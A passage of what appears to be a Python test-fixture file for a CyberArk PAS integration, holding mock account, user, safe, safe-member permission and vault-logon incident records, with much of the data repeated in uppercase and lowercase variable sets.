"userName": "TestUser"
}
}
GET_ACCOUNT_CONTEXT = {
'CyberArkPAS.Accounts(val.id == obj.id)': {'categoryModificationTime': 1597581174, 'id': '11_1',
'name': 'Operating System-UnixSSH', 'address': 'address',
'userName': 'firecall2', 'platformId': 'UnixSSH',
'safeName': 'Linux Accounts', 'secretType': 'password',
'platformAccountProperties': {'UseSudoOnReconcile': 'No',
'Tags': 'SSH'},
'secretManagement': {'automaticManagementEnabled': True,
'status': 'success',
'lastModifiedTime': 1595417469,
'lastReconciledTime': 1576120341},
'createdTime': 1595431869}}
GET_LIST_ACCOUNT_CONTEXT = {
"CyberArkPAS.Accounts(val.id == obj.id)": [
{
"address": "string",
"categoryModificationTime": 1594569595,
"createdTime": 1594573679,
"id": "2_6",
"name": "account1",
"platformAccountProperties": {},
"platformId": "Oracle",
"safeName": "VaultInternal",
"secretManagement": {
"automaticManagementEnabled": True,
"lastModifiedTime": 1594559279
},
"secretType": "password",
"userName": "string"
},
{
"address": "10.0.0.5",
"categoryModificationTime": 1583345933,
"createdTime": 1573127750,
"id": "2_3",
"name": "cybr.com.pass",
"platformAccountProperties": {},
"platformId": "WinDomain",
"safeName": "VaultInternal",
"secretManagement": {
"automaticManagementEnabled": False,
"lastModifiedTime": 1573109750,
"manualManagementReason": "NoReason"
},
"secretType": "password",
"userName": "vaultbind@cybr.com"
}
]
}
GET_LIST_ACCOUNT_ACTIVITIES_CONTEXT = {
"CyberArkPAS.Activities": [
{
"Action": "Rename File",
"ActionID": 124,
"Alert": False,
"ClientID": "PVWA",
"Date": 1594838533,
"MoreInfo": "NewName",
"Reason": "",
"User": "Administrator"
},
{
"Action": "Store password",
"ActionID": 294,
"Alert": False,
"ClientID": "PVWA",
"Date": 1594838456,
"Date": 1594838456,
"MoreInfo": "",
"Reason": "",
"User": "Administrator"
}]}
INCIDENTS = [
{'name': 'CyberArk PAS Incident: 5f0b3064e4b0ba4baf5c1113.', 'occurred': '2020-07-12T15:46:44.000Z', 'severity': 1,
'rawJSON': '{"id": "5f0b3064e4b0ba4baf5c1113", "type": "VaultViaIrregularIp", "score": 29.414062500000004,'
' "createTime": 1594568804000, "lastUpdateTime": 1594568804000, "audits":'
' [{"id": "5f0b3064e4b0ba4baf5c1111", "type": "VAULT_LOGON", "sensorType": "VAULT",'
' "action": "Logon", "createTime": 1594568804000, "vaultUser": "Administrator",'
' "source": {"mOriginalAddress": "17.111.13.67", "mResolvedAddress":'
' {"mOriginalAddress": "17.111.13.67", "mAddress": "17.111.13.67", "mHostName": "17.111.13.67",'
' "mFqdn": "17.111.13.67.bb.netvision.net.il"}}, "cloudData": {}}], "additionalData":'
' {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}'},
{'name': 'CyberArk PAS Incident: 5f0b4320e4b0ba4baf5c2b05.', 'occurred': '2020-07-12T17:06:40.000Z', 'severity': 1,
'rawJSON': '{"id": "5f0b4320e4b0ba4baf5c2b05", "type": "VaultViaIrregularIp", "score": 29.414062500000004,'
' "createTime": 1594573600000, "lastUpdateTime": 1594573600000, "audits":'
' [{"id": "5f0b4320e4b0ba4baf5c2b03", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon",'
' "createTime": 1594573600000, "vaultUser": "Administrator", "source": {"mOriginalAddress":'
' "17.111.13.67", "mResolvedAddress": {"mOriginalAddress": "17.111.13.67", "mAddress": "17.111.13.67",'
' "mHostName": "17.111.13.67", "mFqdn": "17.111.13.67.bb.netvision.net.il"}}, "cloudData": {}}],'
' "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"},'
' "mStatus": "OPEN"}'}]
INCIDENTS_AFTER_FETCH = [{'name': 'CyberArk PAS Incident: 5f0b4e53e4b0ba4baf5c43ed.', 'occurred': '2020-07-12T17:54:27.000Z', 'severity': 1, 'rawJSON': '{"id": "5f0b4e53e4b0ba4baf5c43ed", "type": "VaultViaIrregularIp", "score": 29.414062500000004, "createTime": 1594576467000, "lastUpdateTime": 1594576467000, "audits": [{"id": "5f0b4e53e4b0ba4baf5c43eb", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1594576467000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67", "mResolvedAddress": {"mOriginalAddress": "17.111.13.67", "mAddress": "17.111.13.67", "mHostName": "17.111.13.67", "mFqdn": "17.111.13.67.bb.netvision.net.il"}}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}'}]
INCIDENTS_LIMITED_BY_MAX_SIZE =[{'name': 'CyberArk PAS Incident: 5f13f770e4b0ba4baf5ee890.',
'occurred': '2020-07-19T07:34:08.000Z',
'rawJSON': '{"id": "5f13f770e4b0ba4baf5ee890", "type": '
'"VaultViaIrregularIp", "score": 27.656250000000004, '
'"createTime": 1595144048000, "lastUpdateTime": 1595144048000, '
'"audits": [{"id": "5f13f770e4b0ba4baf5ee88e", "type": '
'"VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", '
'"createTime": 1595144048000, "vaultUser": "Administrator", '
'"source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": '
'{}}], "additionalData": {"station": "17.111.13.67", "reason": '
'"ip", "vault_user": "administrator"}, "mStatus": "OPEN"}',
'severity': 1},
{'name': 'CyberArk PAS Incident: 5f13f7ade4b0ba4baf5ee9b0.',
'occurred': '2020-07-19T07:35:09.000Z',
'rawJSON': '{"id": "5f13f7ade4b0ba4baf5ee9b0", "type": '
'"VaultViaIrregularIp", "score": 98.65625, "createTime": '
'1595144109000, "lastUpdateTime": 1595144109000, "audits": '
'[{"id": "5f13f7ade4b0ba4baf5ee9ad", "type": "VAULT_LOGON", '
'"sensorType": "VAULT", "action": "Logon", "createTime": '
'1595144109000, "vaultUser": "Administrator", "source": '
'{"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], '
'"additionalData": {"station": "17.111.13.67", "reason": "ip", '
'"vault_user": "administrator"}, "mStatus": "OPEN"}',
'severity': 3},
{'name': 'CyberArk PAS Incident: 5f13f7e8e4b0ba4baf5eead5.',
'occurred': '2020-07-19T07:36:08.000Z',
'rawJSON': '{"id": "5f13f7e8e4b0ba4baf5eead5", "type": '
'"VaultViaIrregularIp", "score": 27.656250000000004, '
'"createTime": 1595144168000, "lastUpdateTime": 1595144168000, '
'"audits": [{"id": "5f13f7e8e4b0ba4baf5eead3", "type": '
'"VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", '
'"createTime": 1595144168000, "vaultUser": "Administrator", '
'"source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": '
'{}}], "additionalData": {"station": "17.111.13.67", "reason": '
'"ip", "vault_user": "administrator"}, "mStatus": "OPEN"}',
'severity': 1},
{'name': 'CyberArk PAS Incident: 5f13f824e4b0ba4baf5eebf8.',
'occurred': '2020-07-19T07:37:08.000Z',
'rawJSON': '{"id": "5f13f824e4b0ba4baf5eebf8", "type": '
'"VaultViaIrregularIp", "score": 27.656250000000004, '
'"createTime": 1595144228000, "lastUpdateTime": 1595144228000, '
'"audits": [{"id": "5f13f824e4b0ba4baf5eebf6", "type": '
'"VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", '
'"createTime": 1595144228000, "vaultUser": "Administrator", '
'"source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": '
'{}}], "additionalData": {"station": "17.111.13.67", "reason": '
'"ip", "vault_user": "administrator"}, "mStatus": "OPEN"}',
'severity': 1},
{'name': 'CyberArk PAS Incident: 5f13f861e4b0ba4baf5eed1c.',
'occurred': '2020-07-19T07:38:09.000Z',
'rawJSON': '{"id": "5f13f861e4b0ba4baf5eed1c", "type": '
'"VaultViaIrregularIp", "score": 27.656250000000004, '
'"createTime": 1595144289000, "lastUpdateTime": 1595144289000, '
'"audits": [{"id": "5f13f861e4b0ba4baf5eed1a", "type": '
'"VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", '
'"createTime": 1595144289000, "vaultUser": "Administrator", '
'"source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": '
'{}}], "additionalData": {"station": "17.111.13.67", "reason": '
'"ip", "vault_user": "administrator"}, "mStatus": "OPEN"}',
'severity': 1}]
INCIDENTS_FILTERED_BY_SCORE = [{'name': 'CyberArk PAS Incident: 5f13f7ade4b0ba4baf5ee9b0.',
'occurred': '2020-07-19T07:35:09.000Z',
'rawJSON': '{"id": "5f13f7ade4b0ba4baf5ee9b0", "type": '
'"VaultViaIrregularIp", "score": 98.65625, "createTime": '
'1595144109000, "lastUpdateTime": 1595144109000, "audits": '
'[{"id": "5f13f7ade4b0ba4baf5ee9ad", "type": "VAULT_LOGON", '
'"sensorType": "VAULT", "action": "Logon", "createTime": '
'1595144109000, "vaultUser": "Administrator", "source": '
'{"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], '
'"additionalData": {"station": "17.111.13.67", "reason": "ip", '
'"vault_user": "administrator"}, "mStatus": "OPEN"}',
'severity': 3},
{'name': 'CyberArk PAS Incident: 5f13f89fe4b0ba4baf5eee4b.',
'occurred': '2020-07-19T07:39:11.000Z',
'rawJSON': '{"id": "5f13f89fe4b0ba4baf5eee4b", "type": '
'"VaultViaIrregularIp", "score": 50.65625000000001, "createTime": '
'1595144351000, "lastUpdateTime": 1595144351000, "audits": '
'[{"id": "5f13f89fe4b0ba4baf5eee49", "type": "VAULT_LOGON", '
'"sensorType": "VAULT", "action": "Logon", "createTime": '
'1595144351000, "vaultUser": "Administrator", "source": '
'{"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], '
'"additionalData": {"station": "17.111.13.67", "reason": "ip", '
'"vault_user": "administrator"}, "mStatus": "OPEN"}',
'severity': 2},
{'name': 'CyberArk PAS Incident: 5ebd5480e4b07501bd67d51c.',
'occurred': '2020-07-21T12:16:02.000Z',
'rawJSON': '{"id": "5ebd5480e4b07501bd67d51c", "type": '
'"InteractiveLogonWithServiceAccount", "score": 60.0, '
'"createTime": 1589466020171, "lastUpdateTime": 1595333762775, '
'"audits": [{"id": "5ebd5479e4b07501bd67d176", "type": '
'"WINDOWS_LOGON", "sensorType": "SIEM", "action": "Logon", '
'"createTime": 1589466020171, "account": {"accountAsStr": '
'"administrator@cybr.com", "type": "DOMAIN", "account": '
'{"mDomain": "cybr.com", "spnList": [], "mUser": '
'"administrator"}}, "source": {"mOriginalAddress": "10.0.0.5", '
'"mResolvedAddress": {"mOriginalAddress": "dc01.cybr.com", '
'"mAddress": "10.0.0.5", "mHostName": "dc01", "mFqdn": '
'"dc01.cybr.com"}}, "target": {"mOriginalAddress": '
'"dc01.cybr.com", "mResolvedAddress": {"mOriginalAddress": '
'"dc01.cybr.com", "mAddress": "10.0.0.5", "mHostName": "dc01", '
'"mFqdn": "dc01.cybr.com"}}, "cloudData": {}, "accountId": '
'"27_3"}], "additionalData": {"aggregation_count": 12}, '
'"mStatus": "OPEN"}',
'severity': 2}]
| add_user_context = {'CyberArkPAS.Users(val.id == obj.id)': {'authenticationMethod': ['AuthTypePass'], 'businessAddress': {'workCity': '', 'workCountry': '', 'workState': '', 'workStreet': '', 'workZip': ''}, 'changePassOnNextLogon': True, 'componentUser': False, 'description': 'new user for test', 'distinguishedName': '', 'enableUser': True, 'expiryDate': -62135578800, 'groupsMembership': [], 'id': 123, 'internet': {'businessEmail': 'usertest@test.com', 'homeEmail': '', 'homePage': '', 'otherEmail': ''}, 'lastSuccessfulLoginDate': 1594756313, 'location': '\\', 'passwordNeverExpires': False, 'personalDetails': {'city': '', 'country': '', 'department': '', 'firstName': 'user', 'lastName': 'test', 'middleName': '', 'organization': '', 'profession': 'testing integrations', 'state': '', 'street': '', 'title': '', 'zip': ''}, 'phones': {'businessNumber': '', 'cellularNumber': '', 'faxNumber': '', 'homeNumber': '', 'pagerNumber': ''}, 'source': 'CyberArkPAS', 'suspended': False, 'unAuthorizedInterfaces': [], 'userType': 'EPVUser', 'username': 'TestUser', 'vaultAuthorization': []}}
update_user_context = {'CyberArkPAS.Users(val.id == obj.id)': {'authenticationMethod': ['AuthTypePass'], 'businessAddress': {'workCity': '', 'workCountry': '', 'workState': '', 'workStreet': '', 'workZip': ''}, 'changePassOnNextLogon': True, 'componentUser': False, 'description': 'updated description', 'distinguishedName': '', 'enableUser': True, 'expiryDate': -62135578800, 'groupsMembership': [], 'id': 123, 'internet': {'businessEmail': 'update@test.com', 'homeEmail': '', 'homePage': '', 'otherEmail': ''}, 'lastSuccessfulLoginDate': 1594756313, 'location': '\\', 'passwordNeverExpires': False, 'personalDetails': {'city': '', 'country': '', 'department': '', 'firstName': 'test1', 'lastName': 'updated-name', 'middleName': '', 'organization': '', 'profession': 'test1', 'state': '', 'street': '', 'title': '', 'zip': ''}, 'phones': {'businessNumber': '', 'cellularNumber': '', 'faxNumber': '', 'homeNumber': '', 'pagerNumber': ''}, 'source': 'CyberArkPAS', 'suspended': False, 'unAuthorizedInterfaces': [], 'userType': 'EPVUser', 'username': 'TestUser1', 'vaultAuthorization': []}}
get_users_context = {'CyberArkPAS.Users(val.id == obj.id)': [{'componentUser': False, 'id': 2, 'location': '\\', 'personalDetails': {'firstName': '', 'lastName': '', 'middleName': ''}, 'source': 'CyberArkPAS', 'userType': 'Built-InAdmins', 'username': 'Administrator', 'vaultAuthorization': ['AddUpdateUsers', 'AddSafes', 'AddNetworkAreas', 'ManageDirectoryMapping', 'ManageServerFileCategories', 'AuditUsers', 'BackupAllSafes', 'RestoreAllSafes', 'ResetUsersPasswords', 'ActivateUsers']}, {'componentUser': False, 'id': 3, 'location': '\\', 'personalDetails': {'firstName': '', 'lastName': '', 'middleName': ''}, 'source': 'CyberArkPAS', 'userType': 'Built-InAdmins', 'username': 'Auditor', 'vaultAuthorization': ['AuditUsers']}]}
add_safe_context = {'CyberArkPAS.Safes(val.SafeName == obj.SafeName)': {'AutoPurgeEnabled': False, 'Description': 'safe for tests', 'Location': '\\', 'ManagingCPM': '', 'NumberOfDaysRetention': 100, 'NumberOfVersionsRetention': None, 'OLACEnabled': True, 'SafeName': 'TestSafe'}}
update_safe_context = {'CyberArkPAS.Safes(val.SafeName == obj.SafeName)': {'AutoPurgeEnabled': False, 'Description': 'UpdatedSafe', 'Location': '\\', 'ManagingCPM': '', 'NumberOfDaysRetention': 150, 'NumberOfVersionsRetention': None, 'OLACEnabled': True, 'SafeName': 'UpdatedName'}}
get_safe_by_name_context = {'CyberArkPAS.Safes(val.SafeName == obj.SafeName)': {'AutoPurgeEnabled': False, 'Description': 'safe for tests', 'Location': '\\', 'ManagingCPM': '', 'NumberOfDaysRetention': 100, 'NumberOfVersionsRetention': None, 'OLACEnabled': True, 'SafeName': 'TestSafe'}}
get_list_safes_context = {'CyberArkPAS.Safes(val.SafeName == obj.SafeName)': [{'Description': '', 'Location': '\\', 'SafeName': 'VaultInternal', 'SafeUrlId': 'VaultInternal'}, {'Description': '', 'Location': '\\', 'SafeName': 'Notification Engine', 'SafeUrlId': 'Notification%20Engine'}]}
add_safe_member_context = {'CyberArkPAS.Safes.Members': {'MemberName': 'TestUser', 'MembershipExpirationDate': '', 'Permissions': [{'Key': 'UseAccounts', 'Value': False}, {'Key': 'RetrieveAccounts', 'Value': False}, {'Key': 'ListAccounts', 'Value': False}, {'Key': 'AddAccounts', 'Value': False}, {'Key': 'UpdateAccountContent', 'Value': False}, {'Key': 'UpdateAccountProperties', 'Value': False}, {'Key': 'InitiateCPMAccountManagementOperations', 'Value': False}, {'Key': 'SpecifyNextAccountContent', 'Value': False}, {'Key': 'RenameAccounts', 'Value': False}, {'Key': 'DeleteAccounts', 'Value': False}, {'Key': 'UnlockAccounts', 'Value': False}, {'Key': 'ManageSafe', 'Value': False}, {'Key': 'ManageSafeMembers', 'Value': False}, {'Key': 'BackupSafe', 'Value': False}, {'Key': 'ViewAuditLog', 'Value': False}, {'Key': 'ViewSafeMembers', 'Value': False}, {'Key': 'AccessWithoutConfirmation', 'Value': False}, {'Key': 'CreateFolders', 'Value': False}, {'Key': 'DeleteFolders', 'Value': False}, {'Key': 'MoveAccountsAndFolders', 'Value': False}, {'Key': 'RequestsAuthorizationLevel', 'Value': 0}], 'SearchIn': 'vault'}}
update_safe_member_context = {'CyberArkPAS.Safes.Members(val.TestUser == obj.TestUser)': {'MemberName': 'TestUser', 'MembershipExpirationDate': '', 'Permissions': [{'Key': 'UseAccounts', 'Value': True}, {'Key': 'RetrieveAccounts', 'Value': False}, {'Key': 'ListAccounts', 'Value': False}, {'Key': 'AddAccounts', 'Value': False}, {'Key': 'UpdateAccountContent', 'Value': False}, {'Key': 'UpdateAccountProperties', 'Value': False}, {'Key': 'InitiateCPMAccountManagementOperations', 'Value': False}, {'Key': 'SpecifyNextAccountContent', 'Value': False}, {'Key': 'RenameAccounts', 'Value': False}, {'Key': 'DeleteAccounts', 'Value': False}, {'Key': 'UnlockAccounts', 'Value': False}, {'Key': 'ManageSafe', 'Value': False}, {'Key': 'ManageSafeMembers', 'Value': False}, {'Key': 'BackupSafe', 'Value': False}, {'Key': 'ViewAuditLog', 'Value': False}, {'Key': 'ViewSafeMembers', 'Value': False}, {'Key': 'AccessWithoutConfirmation', 'Value': False}, {'Key': 'CreateFolders', 'Value': False}, {'Key': 'DeleteFolders', 'Value': False}, {'Key': 'MoveAccountsAndFolders', 'Value': False}, {'Key': 'RequestsAuthorizationLevel', 'Value': 0}], 'SearchIn': 'vault'}}
list_safe_member_context = {'CyberArkPAS.Safes.Members(val.MemberName == obj.MemberName)': [{'IsExpiredMembershipEnable': False, 'IsPredefinedUser': True, 'MemberName': 'Administrator', 'MemberType': 'User', 'MembershipExpirationDate': None, 'Permissions': {'AccessWithoutConfirmation': True, 'AddAccounts': True, 'BackupSafe': True, 'CreateFolders': True, 'DeleteAccounts': True, 'DeleteFolders': True, 'InitiateCPMAccountManagementOperations': True, 'ListAccounts': True, 'ManageSafe': True, 'ManageSafeMembers': True, 'MoveAccountsAndFolders': True, 'RenameAccounts': True, 'RequestsAuthorizationLevel1': True, 'RequestsAuthorizationLevel2': False, 'RetrieveAccounts': True, 'SpecifyNextAccountContent': True, 'UnlockAccounts': True, 'UpdateAccountContent': True, 'UpdateAccountProperties': True, 'UseAccounts': True, 'ViewAuditLog': True, 'ViewSafeMembers': True}}, {'IsExpiredMembershipEnable': False, 'IsPredefinedUser': True, 'MemberName': 'Master', 'MemberType': 'User', 'MembershipExpirationDate': None, 'Permissions': {'AccessWithoutConfirmation': True, 'AddAccounts': True, 'BackupSafe': True, 'CreateFolders': True, 'DeleteAccounts': True, 'DeleteFolders': True, 'InitiateCPMAccountManagementOperations': True, 'ListAccounts': True, 'ManageSafe': True, 'ManageSafeMembers': True, 'MoveAccountsAndFolders': True, 'RenameAccounts': True, 'RequestsAuthorizationLevel1': False, 'RequestsAuthorizationLevel2': False, 'RetrieveAccounts': True, 'SpecifyNextAccountContent': True, 'UnlockAccounts': True, 'UpdateAccountContent': True, 'UpdateAccountProperties': True, 'UseAccounts': True, 'ViewAuditLog': True, 'ViewSafeMembers': True}}]}
add_account_context = {'CyberArkPAS.Accounts(val.id == obj.id)': {'address': '/', 'categoryModificationTime': 1594835018, 'createdTime': 1594838456, 'id': '77_4', 'name': 'TestAccount1', 'platformId': 'WinServerLocal', 'safeName': 'TestSafe', 'secretManagement': {'automaticManagementEnabled': True, 'lastModifiedTime': 1594824056}, 'secretType': 'password', 'userName': 'TestUser'}}
update_account_context = {'CyberArkPAS.Accounts(val.id == obj.id)': {'address': '/', 'categoryModificationTime': 1594835018, 'createdTime': 1594838456, 'id': '77_4', 'name': 'NewName', 'platformId': 'WinServerLocal', 'safeName': 'TestSafe', 'secretManagement': {'automaticManagementEnabled': True, 'lastModifiedTime': 1594824056}, 'secretType': 'password', 'userName': 'TestUser'}}
get_account_context = {'CyberArkPAS.Accounts(val.id == obj.id)': {'categoryModificationTime': 1597581174, 'id': '11_1', 'name': 'Operating System-UnixSSH', 'address': 'address', 'userName': 'firecall2', 'platformId': 'UnixSSH', 'safeName': 'Linux Accounts', 'secretType': 'password', 'platformAccountProperties': {'UseSudoOnReconcile': 'No', 'Tags': 'SSH'}, 'secretManagement': {'automaticManagementEnabled': True, 'status': 'success', 'lastModifiedTime': 1595417469, 'lastReconciledTime': 1576120341}, 'createdTime': 1595431869}}
get_list_account_context = {'CyberArkPAS.Accounts(val.id == obj.id)': [{'address': 'string', 'categoryModificationTime': 1594569595, 'createdTime': 1594573679, 'id': '2_6', 'name': 'account1', 'platformAccountProperties': {}, 'platformId': 'Oracle', 'safeName': 'VaultInternal', 'secretManagement': {'automaticManagementEnabled': True, 'lastModifiedTime': 1594559279}, 'secretType': 'password', 'userName': 'string'}, {'address': '10.0.0.5', 'categoryModificationTime': 1583345933, 'createdTime': 1573127750, 'id': '2_3', 'name': 'cybr.com.pass', 'platformAccountProperties': {}, 'platformId': 'WinDomain', 'safeName': 'VaultInternal', 'secretManagement': {'automaticManagementEnabled': False, 'lastModifiedTime': 1573109750, 'manualManagementReason': 'NoReason'}, 'secretType': 'password', 'userName': 'vaultbind@cybr.com'}]}
get_list_account_activities_context = {'CyberArkPAS.Activities': [{'Action': 'Rename File', 'ActionID': 124, 'Alert': False, 'ClientID': 'PVWA', 'Date': 1594838533, 'MoreInfo': 'NewName', 'Reason': '', 'User': 'Administrator'}, {'Action': 'Store password', 'ActionID': 294, 'Alert': False, 'ClientID': 'PVWA', 'Date': 1594838456, 'Date': 1594838456, 'MoreInfo': '', 'Reason': '', 'User': 'Administrator'}]}
incidents = [{'name': 'CyberArk PAS Incident: 5f0b3064e4b0ba4baf5c1113.', 'occurred': '2020-07-12T15:46:44.000Z', 'severity': 1, 'rawJSON': '{"id": "5f0b3064e4b0ba4baf5c1113", "type": "VaultViaIrregularIp", "score": 29.414062500000004, "createTime": 1594568804000, "lastUpdateTime": 1594568804000, "audits": [{"id": "5f0b3064e4b0ba4baf5c1111", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1594568804000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67", "mResolvedAddress": {"mOriginalAddress": "17.111.13.67", "mAddress": "17.111.13.67", "mHostName": "17.111.13.67", "mFqdn": "17.111.13.67.bb.netvision.net.il"}}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}'}, {'name': 'CyberArk PAS Incident: 5f0b4320e4b0ba4baf5c2b05.', 'occurred': '2020-07-12T17:06:40.000Z', 'severity': 1, 'rawJSON': '{"id": "5f0b4320e4b0ba4baf5c2b05", "type": "VaultViaIrregularIp", "score": 29.414062500000004, "createTime": 1594573600000, "lastUpdateTime": 1594573600000, "audits": [{"id": "5f0b4320e4b0ba4baf5c2b03", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1594573600000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67", "mResolvedAddress": {"mOriginalAddress": "17.111.13.67", "mAddress": "17.111.13.67", "mHostName": "17.111.13.67", "mFqdn": "17.111.13.67.bb.netvision.net.il"}}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}'}]
incidents_after_fetch = [{'name': 'CyberArk PAS Incident: 5f0b4e53e4b0ba4baf5c43ed.', 'occurred': '2020-07-12T17:54:27.000Z', 'severity': 1, 'rawJSON': '{"id": "5f0b4e53e4b0ba4baf5c43ed", "type": "VaultViaIrregularIp", "score": 29.414062500000004, "createTime": 1594576467000, "lastUpdateTime": 1594576467000, "audits": [{"id": "5f0b4e53e4b0ba4baf5c43eb", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1594576467000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67", "mResolvedAddress": {"mOriginalAddress": "17.111.13.67", "mAddress": "17.111.13.67", "mHostName": "17.111.13.67", "mFqdn": "17.111.13.67.bb.netvision.net.il"}}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}'}]
incidents_limited_by_max_size = [{'name': 'CyberArk PAS Incident: 5f13f770e4b0ba4baf5ee890.', 'occurred': '2020-07-19T07:34:08.000Z', 'rawJSON': '{"id": "5f13f770e4b0ba4baf5ee890", "type": "VaultViaIrregularIp", "score": 27.656250000000004, "createTime": 1595144048000, "lastUpdateTime": 1595144048000, "audits": [{"id": "5f13f770e4b0ba4baf5ee88e", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1595144048000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}', 'severity': 1}, {'name': 'CyberArk PAS Incident: 5f13f7ade4b0ba4baf5ee9b0.', 'occurred': '2020-07-19T07:35:09.000Z', 'rawJSON': '{"id": "5f13f7ade4b0ba4baf5ee9b0", "type": "VaultViaIrregularIp", "score": 98.65625, "createTime": 1595144109000, "lastUpdateTime": 1595144109000, "audits": [{"id": "5f13f7ade4b0ba4baf5ee9ad", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1595144109000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}', 'severity': 3}, {'name': 'CyberArk PAS Incident: 5f13f7e8e4b0ba4baf5eead5.', 'occurred': '2020-07-19T07:36:08.000Z', 'rawJSON': '{"id": "5f13f7e8e4b0ba4baf5eead5", "type": "VaultViaIrregularIp", "score": 27.656250000000004, "createTime": 1595144168000, "lastUpdateTime": 1595144168000, "audits": [{"id": "5f13f7e8e4b0ba4baf5eead3", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1595144168000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}', 'severity': 1}, {'name': 'CyberArk PAS Incident: 5f13f824e4b0ba4baf5eebf8.', 'occurred': '2020-07-19T07:37:08.000Z', 'rawJSON': '{"id": "5f13f824e4b0ba4baf5eebf8", "type": "VaultViaIrregularIp", "score": 27.656250000000004, "createTime": 1595144228000, "lastUpdateTime": 1595144228000, "audits": [{"id": "5f13f824e4b0ba4baf5eebf6", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1595144228000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}', 'severity': 1}, {'name': 'CyberArk PAS Incident: 5f13f861e4b0ba4baf5eed1c.', 'occurred': '2020-07-19T07:38:09.000Z', 'rawJSON': '{"id": "5f13f861e4b0ba4baf5eed1c", "type": "VaultViaIrregularIp", "score": 27.656250000000004, "createTime": 1595144289000, "lastUpdateTime": 1595144289000, "audits": [{"id": "5f13f861e4b0ba4baf5eed1a", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1595144289000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}', 'severity': 1}]
incidents_filtered_by_score = [{'name': 'CyberArk PAS Incident: 5f13f7ade4b0ba4baf5ee9b0.', 'occurred': '2020-07-19T07:35:09.000Z', 'rawJSON': '{"id": "5f13f7ade4b0ba4baf5ee9b0", "type": "VaultViaIrregularIp", "score": 98.65625, "createTime": 1595144109000, "lastUpdateTime": 1595144109000, "audits": [{"id": "5f13f7ade4b0ba4baf5ee9ad", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1595144109000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}', 'severity': 3}, {'name': 'CyberArk PAS Incident: 5f13f89fe4b0ba4baf5eee4b.', 'occurred': '2020-07-19T07:39:11.000Z', 'rawJSON': '{"id": "5f13f89fe4b0ba4baf5eee4b", "type": "VaultViaIrregularIp", "score": 50.65625000000001, "createTime": 1595144351000, "lastUpdateTime": 1595144351000, "audits": [{"id": "5f13f89fe4b0ba4baf5eee49", "type": "VAULT_LOGON", "sensorType": "VAULT", "action": "Logon", "createTime": 1595144351000, "vaultUser": "Administrator", "source": {"mOriginalAddress": "17.111.13.67"}, "cloudData": {}}], "additionalData": {"station": "17.111.13.67", "reason": "ip", "vault_user": "administrator"}, "mStatus": "OPEN"}', 'severity': 2}, {'name': 'CyberArk PAS Incident: 5ebd5480e4b07501bd67d51c.', 'occurred': '2020-07-21T12:16:02.000Z', 'rawJSON': '{"id": "5ebd5480e4b07501bd67d51c", "type": "InteractiveLogonWithServiceAccount", "score": 60.0, "createTime": 1589466020171, "lastUpdateTime": 1595333762775, "audits": [{"id": "5ebd5479e4b07501bd67d176", "type": "WINDOWS_LOGON", "sensorType": "SIEM", "action": "Logon", "createTime": 1589466020171, "account": {"accountAsStr": "administrator@cybr.com", "type": "DOMAIN", "account": {"mDomain": "cybr.com", "spnList": [], "mUser": "administrator"}}, "source": {"mOriginalAddress": "10.0.0.5", "mResolvedAddress": {"mOriginalAddress": "dc01.cybr.com", "mAddress": "10.0.0.5", 